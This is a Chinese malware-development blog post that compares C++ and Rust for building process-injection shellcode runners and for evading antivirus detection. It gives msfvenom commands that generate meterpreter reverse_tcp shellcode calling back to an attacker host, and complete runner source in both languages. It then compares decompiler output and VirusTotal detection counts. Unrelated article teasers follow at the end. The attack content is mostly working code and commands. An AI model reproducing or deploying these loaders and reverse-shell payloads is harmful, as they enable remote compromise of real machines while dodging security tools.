Malware Dev 00 - Rust vs C++ 初探
写在最前
如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里:
https://discord.gg/9XvvuFq9Wb
我会提供备考过程中尽可能多的帮助,并分享学习和实践过程中的资源和心得,大家一起进步,一起 NB~
背景
最近看到挺多关于 Rust 武器化的文章。就着这篇最近发布的,想着动手实验一下,看下 Rust 是否在 Malware 编写方面会比 C/C++ 更有优势。
本文将分别使用 C++ 和 Rust 分别编译进程注入的 shellcode runner。然后到 Dogbolt 反编译两个 PE 文件,看一下反编译的结果。最后,我们看一下 VirusTotal 对于两个文件的检测,对比一下目前为止哪个语言的免杀效果相对优秀(由于是 shellcode runner 实属裸奔,没用任何绕过技巧,被查杀是肯定的)。
为什么选择 Rust
这里是 Rust 语言的一些特性。
- Rust 速度快,跟 C/C++ 不相上下;
- Rust 拥有优秀的依赖解决方案,cargo;
- Rust 基于 LLVM,内部的复杂性有利于其躲避防御机制的检测;
- Rust 拥有活跃的社区支持,因此,各种问题基本都能得到解决;
- Rust 跨平台;
正是因为这些特性,Rust 被武器化,在网络安全进攻端,展现出了一定的实力。
测试环境
Windows
shellcode runner 的编译和执行在一台 Win10 x64 机器上进行。

C++ 编译使用 Visual Studio 2022。
Rust 使用官网最新版本 cargo。
Linux
另一台 Kali Linux 机器,作 shellcode 生成和 shell 接收。
Rust vs C++
进入正题,分别使用 C++ 和 Rust 编译两个 PE 文件。保证两个文件都能成功拿到目标的 shell。为后续反编译查找 WinAPI 调用痕迹做个铺垫。
C++ Process Injection Shellcode Runner
创建一个 C++ 工程。

生成一份 shellcode。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f c
复制 shellcode 到代码。
代码常规套路,四步走,分配内存,拷贝 shellcode,设置内存可执行,创建线程并执行。
#include <windows.h>int main(void) {LPVOID lpAddress;HANDLE tHandle;DWORD oldProtect = 0;unsigned char payload[] = { shellcode_here };SIZE_T payload_size = sizeof(payload);lpAddress = VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);RtlMoveMemory(lpAddress, payload, payload_size);if (VirtualProtect(lpAddress, payload_size, PAGE_EXECUTE_READ, &oldProtect)){tHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpAddress, 0, 0, 0);WaitForSingleObject(tHandle, (DWORD)-1);}return 0;
}
注意这里要使用 Release 编译。
编译之后执行。

Kali 拿到 shell。

接下来编译一个 Rust 版本的,代码逻辑一致。
Rust Process Injection Shellcode Runner
Rust 需安装。官网下载安装包 安装即可。

第一次接触 Rust,给出一下编译步骤。
首先在当前文件夹下创建一个 Rust 工程。
cargo new shell_rust

接着生成一段 shellcode。用 csharp 格式的就行。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.3.195 LPORT=443 -f csharp
然后进入工程中的 src 文件夹,编辑 main.rs 文件,使用如下代码,使用生成的 shellcode。
use winapi::um::winnt::{PVOID,MEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
use std::ptr;
use winapi::um::errhandlingapi;
use winapi::um::processthreadsapi;
use winapi::um::winbase;
use winapi::um::synchapi::WaitForSingleObject;
use std::process;type DWORD = u32;//Thanks to @trickster0 for sharing this code https://github.com/trickster0/OffensiveRustfn main(){create_thread()
}fn create_thread() {let payload: [u8;shellcode_length_here] = [ shellcode_here ];// allocate base addr as RWunsafe{let base_addr = kernel32::VirtualAlloc(ptr::null_mut(),payload.len().try_into().unwrap(),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);if base_addr.is_null() { println!("[-] Couldn't allocate memory to current proc.")}std::ptr::copy(payload.as_ptr() as _, base_addr, payload.len());let mut old_protect: DWORD = PAGE_READWRITE;let mem_protect = kernel32::VirtualProtect (base_addr,payload.len() as u64,PAGE_EXECUTE_READ,&mut old_protect);if mem_protect == 0 {let error = errhandlingapi::GetLastError();println!("[-] Error: {}", error.to_string());process::exit(0x0100);}let mut tid = 0;let ep: extern "system" fn(PVOID) -> u32 = { std::mem::transmute(base_addr) };let h_thread = processthreadsapi::CreateThread(ptr::null_mut(),0,Some(ep),ptr::null_mut(),0,&mut tid);if h_thread.is_null() {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}let status = WaitForSingleObject(h_thread, winbase::INFINITE);if status != 0 {let error = errhandlingapi::GetLastError();println!("{}", error.to_string())}}
}
添加依赖。
cargo add winapi kernel32-sys
查看 Cargo.toml 文件如下。

不过此时编译还是会报错。

还得增加 winapi 下的 features 才能正常编译。

再次编译 Release 版本。
cargo build --release
编译成功。

在 shell_rust/target/release 文件夹下找到 exe 文件。

运行。

Kali 拿到 shell。

至此,两个 shellcode runner 编译完成。
反编译比较
将两个文件都丢到 Dogbolt 上用多个反编译器进行反编译。
C++ Decompile
C++ 经过反编译得到了至多 1453 行代码(Ghidra)。

并且每一个反编译器都准确反编译出了四个重点查杀的 WinAPI。
VirtualAlloc

VirtualProtect

CreateThread

WaitForSingleObject

接下来看下 Rust 的表现。
Rust Decompile
但从编译时间的角度来看,有两个反编译器都显示反编译超时。BinaryNinja 和 Hex-Rays 反编译出了 20K+ 行代码。

再查找一下敏感 API,还是可以被找到。这里与原文有些不符。原文指出,只有在 Binary-Ninja 反编译之后才能看到敏感 API 的调用。

VT 查杀结果
Rust 结果 18/62。

C++ 结果 28/62。

总结
目前为止,裸奔 Rust Payload 比 C++ 表现优异那么一些。在实践过程中发生的与原文的偏差。我认为可能是我编译 Rust 的过程有问题。原文作者没有指出编译细节。这个还需要继续深入挖掘一下。
参考链接
- https://steve-s.gitbook.io/0xtriboulet/ttps/ttps-rust-vs-c++
- https://doc.rust-lang.org/book/ch01-03-hello-cargo.html
- https://github.com/trickster0/OffensiveRust
- https://doc.rust-lang.org/cargo/guide/dependencies.html
- https://doc.rust-lang.org/cargo/reference/profiles.html#opt-level
- https://doc.rust-lang.org/cargo/reference/config.html#buildrustc
- https://www.secureideas.com/blog/how-to-obfuscate-strings-in-rust-the-easy-way-using-the-litcrypt-crate
相关文章:
Malware Dev 00 - Rust vs C++ 初探
写在最前 如果你是信息安全爱好者,如果你想考一些证书来提升自己的能力,那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里: https://discord.gg/9XvvuFq9Wb我会提供备考过程中尽可能多的帮助,并分享学习和实践过程…...
JavaScript HTML DOM 事件
文章目录JavaScript HTML DOM 事件对事件做出反应HTML 事件属性使用 HTML DOM 来分配事件onload 和 onunload 事件onchange 事件onmouseover 和 onmouseout 事件onmousedown、onmouseup 以及 onclick 事件JavaScript HTML DOM 事件 HTML DOM 使 JavaScript 有能力对 HTML 事件做…...
推荐算法——NCF知识总结代码实现
NCF知识总结代码实现1. NeuralCF 模型的结构1.1 回顾CF和MF1.2 NCF 模型结构1.3 NeuralCF 模型的扩展---双塔模型2. NCF代码实现2.1 tensorflow2.2 pytorchNeuralCF:如何用深度学习改造协同过滤? 随着技术的发展,协同过滤相比深度学习模型的…...
redis(4)String字符串
前言 Redis中有5大数据类型,分别是字符串String、列表List、集合Set、哈希Hash、有序集合Zset,本篇介绍Redis的字符串String Redis字符串 String是Redis最基本的类型,你可以理解成与Memcached一模一样的类型,一个key对应一个value…...
session一致性问题
在http访问请求中,web服务器会自动为同一个浏览器的访问用户自动创建唯一的session,提供数据存储功能。最常见的,会把用户的登录信息、用户信息存储在session中,以保持登录状态。只要用户不重启浏览器,每次http短连接请…...
上岸16K,薪资翻倍,在华为外包做测试是一种什么样的体验····
现在回过头看当初的决定,还是正确的,自己转行成功,现在进入了华为外包测试岗,脱离了工厂生活,薪资也翻了一倍不止。 我17年毕业于一个普通二本学校,电子信息工程学院,是一个很不出名的小本科。…...
django项目中如何添加自定义的django command
项目目录 1.我们自己建立的application叫做app,首先在这个app目录下,我们需要新建management目录,这个目录里应该包括:__ init__.py(内容为空,用于打包)和commands目录,然后在comma…...
【算法基础】哈希表⭐⭐⭐
一、哈希表 散列表(Hash table,也叫哈希表),是根据关键码值(Key value)而直接进行访问的数据结构。也就是说,它通过把关键码值映射到表中一个位置来访问记录,以加快查找的速度。这个映射函数叫做散列函数,存放记录的数组叫做散列表。 给定表M,存在函数f(key),对任意…...
基于SpringMVC、Spring、MyBatis开发的校园点餐系统
文章目录 项目介绍主要功能截图:后台登录用户管理商品管理评论管理订单管理角色管理咨询管理前台前台首页我的订单商品详情支付方式选择支付成功页面部分代码展示设计总结项目获取方式🍅 作者主页:Java韩立 🍅 简介:Java领域优质创作者🏆、 简历模板、学习资料、面试题…...
LeetCode 热题 C++ 148. 排序链表 152. 乘积最大子数组 160. 相交链表
力扣148 给你链表的头结点 head ,请将其按 升序 排列并返回 排序后的链表 。 示例 1: 输入:head [4,2,1,3] 输出:[1,2,3,4]示例 2: 输入:head [-1,5,3,4,0] 输出:[-1,0,3,4,5]示例 3&#x…...
JavaScript 基础【快速掌握知识点】
目录 为什么要学JavaScript? 什么是JavaScript 特点: 组成: JavaScript的基本结构 基本结构 内部引用 外部引用 console对象进行输出 JavaScript核心语法 1、变量声明 2、数据类型 3、运算符 4、条件语句 5、循环语句 6、数组 7…...
基于Frenet优化轨迹的⾃动驾驶动作规划⽅法
动作规划(Motion Control)在⾃动驾驶汽⻋规划模块的最底层,它负责根据当前配置和⽬标配置⽣成⼀序列的动作,本⽂介绍⼀种基于Frenet坐标系的优化轨迹动作规划⽅法,该⽅法在⾼速情况下的ACC辅助驾驶和⽆⼈驾驶都具有较强…...
Spring(入门)
1. 什么是spring,它能够做什么?2. 什么是控制反转(或依赖注入)3. AOP的关键概念4. 示例 4.1 创建工程4.2 pom文件4.3 spring配置文件4.4 示例代码 4.4.1 示例14.4.2 示例2 (abstract,parent示例)4.4.3 使用有参数构造方法创建jav…...
2023-02-25力扣每日一题
链接: https://leetcode.cn/problems/minimum-swaps-to-make-strings-equal/ 题意: 给定字符串s1,s2,仅由x,y组成 每次可以在两边各挑一个字符交换 求让s1等于s2的最小步骤 解: 1000啊1000,双指针贪一下就过了 …...
如何外网登录管理云通信短信网关平台?——快解析映射方案
云通信(Cloud Communications )是基于云计算商业模式应用的通信平台服务,简单易用,满足企业一键群发场景,支持多种语言SDK和API 接入。各个通信平台软件都集中在云端,且互通兼容,用户只要登录云通信平台,不…...
学习 Python 之 Pygame 开发魂斗罗(三)
学习 Python 之 Pygame 开发魂斗罗(三)继续编写魂斗罗1. 角色站立2. 角色移动3. 角色跳跃4. 角色下落继续编写魂斗罗 在上次的博客学习 Python 之 Pygame 开发魂斗罗(二)中,我们完成了角色的创建和更新,现…...
【华为OD机试模拟题】用 C++ 实现 - 最多获得的短信条数(2023.Q1)
最近更新的博客 【华为OD机试模拟题】用 C++ 实现 - 分积木(2023.Q1) 【华为OD机试模拟题】用 C++ 实现 - 吃火锅(2023.Q1) 【华为OD机试模拟题】用 C++ 实现 - RSA 加密算法(2023.Q1) 【华为OD机试模拟题】用 C++ 实现 - 构成的正方形数量(2023.Q1) 【华为OD机试模拟…...
linux系统加exfat驱动
u盘假如是fat格式不支持大于4G文件,所以一般u盘用exfat格式,兼容性更好 有的老linux没支持exfat格式,那就自己装个驱动吧 sudo apt-get install exfat-fuse exfat-utils 有一台fedora27需要yum安装,国外源比较慢,改…...
3,预初始化(一)(大象无形9.2)
正如书中所说,预初始化流程由FEngineLoop::PreInit()所实现 主要处理流程 1,设置路径:当前程序路径,当前工作目录路径,游戏的工程路径 2,设置标准输出:设置GLog系统输出的设备,是输出到命令行…...
【PAT甲级题解记录】1013 Battle Over Cities (25 分)
【PAT甲级题解记录】1013 Battle Over Cities (25 分) 前言 Problem:1013 Battle Over Cities (25 分) Tags:DFS 连通图 Difficulty:剧情模式 想流点汗 想流点血 死而无憾 Address:1013 Battle Over Cities (25 分) 问题描述 给…...
脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)
一、数据处理与分析实战 (一)实时滤波与参数调整 基础滤波操作 60Hz 工频滤波:勾选界面右侧 “60Hz” 复选框,可有效抑制电网干扰(适用于北美地区,欧洲用户可调整为 50Hz)。 平滑处理&…...
iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...
【Redis技术进阶之路】「原理分析系列开篇」分析客户端和服务端网络诵信交互实现(服务端执行命令请求的过程 - 初始化服务器)
服务端执行命令请求的过程 【专栏简介】【技术大纲】【专栏目标】【目标人群】1. Redis爱好者与社区成员2. 后端开发和系统架构师3. 计算机专业的本科生及研究生 初始化服务器1. 初始化服务器状态结构初始化RedisServer变量 2. 加载相关系统配置和用户配置参数定制化配置参数案…...
TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案
一、TRS收益互换的本质与业务逻辑 (一)概念解析 TRS(Total Return Swap)收益互换是一种金融衍生工具,指交易双方约定在未来一定期限内,基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...
React---day11
14.4 react-redux第三方库 提供connect、thunk之类的函数 以获取一个banner数据为例子 store: 我们在使用异步的时候理应是要使用中间件的,但是configureStore 已经自动集成了 redux-thunk,注意action里面要返回函数 import { configureS…...
【SpringBoot自动化部署】
SpringBoot自动化部署方法 使用Jenkins进行持续集成与部署 Jenkins是最常用的自动化部署工具之一,能够实现代码拉取、构建、测试和部署的全流程自动化。 配置Jenkins任务时,需要添加Git仓库地址和凭证,设置构建触发器(如GitHub…...
Xela矩阵三轴触觉传感器的工作原理解析与应用场景
Xela矩阵三轴触觉传感器通过先进技术模拟人类触觉感知,帮助设备实现精确的力测量与位移监测。其核心功能基于磁性三维力测量与空间位移测量,能够捕捉多维触觉信息。该传感器的设计不仅提升了触觉感知的精度,还为机器人、医疗设备和制造业的智…...
【深度学习新浪潮】什么是credit assignment problem?
Credit Assignment Problem(信用分配问题) 是机器学习,尤其是强化学习(RL)中的核心挑战之一,指的是如何将最终的奖励或惩罚准确地分配给导致该结果的各个中间动作或决策。在序列决策任务中,智能体执行一系列动作后获得一个最终奖励,但每个动作对最终结果的贡献程度往往…...
针对药品仓库的效期管理问题,如何利用WMS系统“破局”
案例: 某医药分销企业,主要经营各类药品的批发与零售。由于药品的特殊性,效期管理至关重要,但该企业一直面临效期问题的困扰。在未使用WMS系统之前,其药品入库、存储、出库等环节的效期管理主要依赖人工记录与检查。库…...
「Java基本语法」变量的使用
变量定义 变量是程序中存储数据的容器,用于保存可变的数据值。在Java中,变量必须先声明后使用,声明时需指定变量的数据类型和变量名。 语法 数据类型 变量名 [ 初始值]; 示例:声明与初始化 public class VariableDemo {publi…...
